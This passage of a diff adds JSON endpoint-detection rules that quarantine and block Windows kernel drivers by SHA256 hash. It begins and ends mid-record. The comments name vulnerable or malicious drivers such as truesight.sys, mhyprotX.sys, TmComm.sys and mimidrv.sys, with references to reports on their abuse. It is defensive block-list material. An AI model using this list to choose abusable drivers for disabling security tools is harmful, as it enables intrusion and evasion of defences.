+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.606015Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1b00d6e5d40b1b84ca63da0e99246574cdd2a533122bc83746f06c0d66e63a6e",
+  "comment": "Process Explorer driver (aka PROCEXP.SYS and PROCEXP152.SYS) [https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1414c3db-ab57-5b5c-8025-4208058bcc41",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.973450Z",
+  "creation_date": "2026-03-23T11:45:29.973452Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.973457Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cc687fe3741bbde1dd142eac0ef59fd1d4457daee43cdde23bb162ef28d04e64",
+  "comment": "Trend Micro Anti-Rootkit Common Module vulnerable driver (aka TmComm.sys) [CVE-2007-0856] [https://www.loldrivers.io/drivers/22aa985b-5fdb-4e38-9382-a496220c27ec/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1415d079-b077-5e35-9e0a-e7134a8010d4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.619558Z",
+  "creation_date": "2026-03-23T11:45:29.619560Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.619565Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f1f345591efe74fd12e706132939f51963eb39dd0a1db556123c3e850c60fada",
+  "comment": "Insyde Software dangerous update tool (aka segwindrvx64.sys) [https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?name=Program%3AWin32%2FVulnInsydeDriver.A&threatid=258247] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "142db16a-a14d-59b9-975b-987aaf865836",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.967622Z",
+  "creation_date": "2026-03-23T11:45:29.967624Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.967630Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5c206b569b7059b7c32eb5fc36922cb435c2b16c8d96de1038c8bd298ed498fe",
+  "comment": "Vulnerable Kernel Driver (aka Netfilter.sys) [https://www.loldrivers.io/drivers/9454a752-233e-4ba2-b585-8da242bf8f31/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "142e5b48-476f-55e9-8f79-dcdcbf407261",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.818295Z",
+  "creation_date": "2026-03-23T11:45:30.818297Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.818302Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9917144b7240b1ce0cadb1210fd26182744fbbdf145943037c4b93e44aced207",
+  "comment": "Vulnerable Kernel Driver (aka kerneld.amd64) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "143c1959-80d3-5468-a6e6-c1d3eed062f9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.147893Z",
+  "creation_date": "2026-03-23T11:45:31.147897Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.147906Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fc4dfcb9ddcc41909bf99e4c197da3778afcdf6431862177c289b6200da0ebe8",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "144d9b36-3c42-5036-92e6-17a12035fd58",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.466608Z",
+  "creation_date": "2026-03-23T11:45:30.466611Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.466620Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "aafa642ca3d906138150059eeddb6f6b4fe9ad90c6174386cfe13a13e8be47d9",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "14620831-106c-5eb4-87bb-da564c6a8790",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.816967Z",
+  "creation_date": "2026-03-23T11:45:31.816969Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.816975Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a54e9e7fb0dd039ffd724cc5203ddcc1dd898c5224ae74e2327d3fa97a309643",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "14665a92-845b-5321-9eab-331660560bad",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.150356Z",
+  "creation_date": "2026-03-23T11:45:31.150358Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.150364Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6f571267b63865e23f63bd549e3309f07fb8a5b4421ad6ca1d04eae3d3e90394",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "146b9a56-8b03-55d4-af11-7bbbb9dfe5b4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.982940Z",
+  "creation_date": "2026-03-23T11:45:29.982948Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.982953Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5e27fe26110d2b9f6c2bad407d3d0611356576b531564f75ff96f9f72d5fcae4",
+  "comment": "Vulnerable Kernel Driver (aka WiseUnlo.sys) [https://www.loldrivers.io/drivers/b28cc2ee-d4a2-4fe4-9acb-a7a61cad20c6/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "146d50a3-c782-53bf-9ba9-905f5712b1d5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.817551Z",
+  "creation_date": "2026-03-23T11:45:31.817553Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.817559Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9341856f3855acf21a36fa25c9539dade2182a029ebac116811eb49abff9cbe7",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "146f645d-46b6-5c6f-97db-0da4bc7025c6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.817311Z",
+  "creation_date": "2026-03-23T11:45:30.817314Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.817319Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "84683c840af3440b8b40d34088ec852e092f882ca558409d8338f1f5f46d2741",
+  "comment": "Vulnerable Kernel Driver (aka AODDriver.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "14786b4d-b75b-5b06-8270-c6f57694cc25",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.455247Z",
+  "creation_date": "2026-03-23T11:45:30.455251Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.455260Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "651ffa0c7aff7b4a7695dddd209dc3e7f68156e29a14d3fcc17aef4f2a205dcc",
+  "comment": "Vulnerable Kernel Driver (aka Netfilter.sys) [https://www.loldrivers.io/drivers/9454a752-233e-4ba2-b585-8da242bf8f31/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1478990a-6173-5836-b2d1-033d954adc0e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.979116Z",
+  "creation_date": "2026-03-23T11:45:29.979118Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.979124Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "dcd5404c83f74f0b7a8d0735174af78782aaa99d2b5b5b24f44c48b295a2ba31",
+  "comment": "Vulnerable Kernel Driver (aka LHA.sys) [https://www.loldrivers.io/drivers/eb07ef7e-0402-48eb-8e06-8fb76eda5b84/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "147ffe77-4c9a-5ceb-8b85-43b7d1a35d0d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.140708Z",
+  "creation_date": "2026-03-23T11:45:31.140710Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.140715Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f26e088583f9a5f518c64c2406c70c90ff50142574389459a0da579448a8f0ea",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "14806960-67e3-573d-8cdc-bffe1470d7bf",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.610581Z",
+  "creation_date": "2026-03-23T11:45:29.610583Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.610591Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8cf0cbbdc43f9b977f0fb79e0a0dd0e1adabe08a67d0f40d727c717c747de775",
+  "comment": "CPUID CPU-Z vulnerable driver (aka cpuz143_x64.sys) [CVE-2017-15302] [https://www.loldrivers.io/drivers/de003542-80e1-4aa0-9b99-ed8647a93a6e/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "14825860-c440-5708-a424-6a93f8981c23",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.611949Z",
+  "creation_date": "2026-03-23T11:45:29.611951Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.611956Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b8b94c2646b62f6ac08f16514b6efaa9866aa3c581e4c0435a7aeafe569b2418",
+  "comment": "Genshin Impact vulnerable driver (aka mhyprotX.sys) [https://www.trendmicro.com/en_us/research/22/h/ransomware-actor-abuses-genshin-impact-anti-cheat-driver-to-kill-antivirus.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1495dbe3-877c-5c16-afe6-09c53c8ebc3f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.974801Z",
+  "creation_date": "2026-03-23T11:45:29.974803Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.974808Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "13002b14aa6e63dc7117e2969d038beb009dbd6093a4590c6913b426d773dea3",
+  "comment": "Trend Micro Anti-Rootkit Common Module vulnerable driver (aka TmComm.sys) [CVE-2007-0856] [https://www.loldrivers.io/drivers/22aa985b-5fdb-4e38-9382-a496220c27ec/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1497784d-e0ed-5a05-bc0f-b3f605709cb8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.481104Z",
+  "creation_date": "2026-03-23T11:45:31.481108Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.481117Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0c6bcd1ac8da860f8f9213d19df235669226f455f6a1fc0f975463085e59ad7d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "149a44bc-d5dc-5b73-97ac-292075977f5f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.486934Z",
+  "creation_date": "2026-03-23T11:45:31.486937Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.486955Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fdf17b4b7f4f3fed37647e37bb85448bf06c3e07ea6663d758af1b8a84ea2ca3",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "14aefbb1-5c8f-5b0c-8751-ae2d942f7925",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.476932Z",
+  "creation_date": "2026-03-23T11:45:30.476935Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.476951Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5e789b6d535b49c66c658978099e50fa2f8d02c2511bdaf9358bb8e40bdcef8e",
+  "comment": "Vulnerable Kernel Driver (aka libnicm.sys) [https://www.loldrivers.io/drivers/2b949a0d-939f-456a-a34f-4589d7712227/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "14afbff7-3dce-5ef7-a3d9-9dcbca00da51",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.142827Z",
+  "creation_date": "2026-03-23T11:45:31.142829Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.142834Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "533527cc7c4a72ac5ca7be7b01df2989412bc820da29e3eac0fb24b3be5b8169",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "14b14343-29ad-5b4c-921e-372488ae9ead",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.970729Z",
+  "creation_date": "2026-03-23T11:45:29.970732Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.970740Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9df2cfbe1c9e6f616726a88310a33bb856126fb490f7f0d16229d97dbb50ae2f",
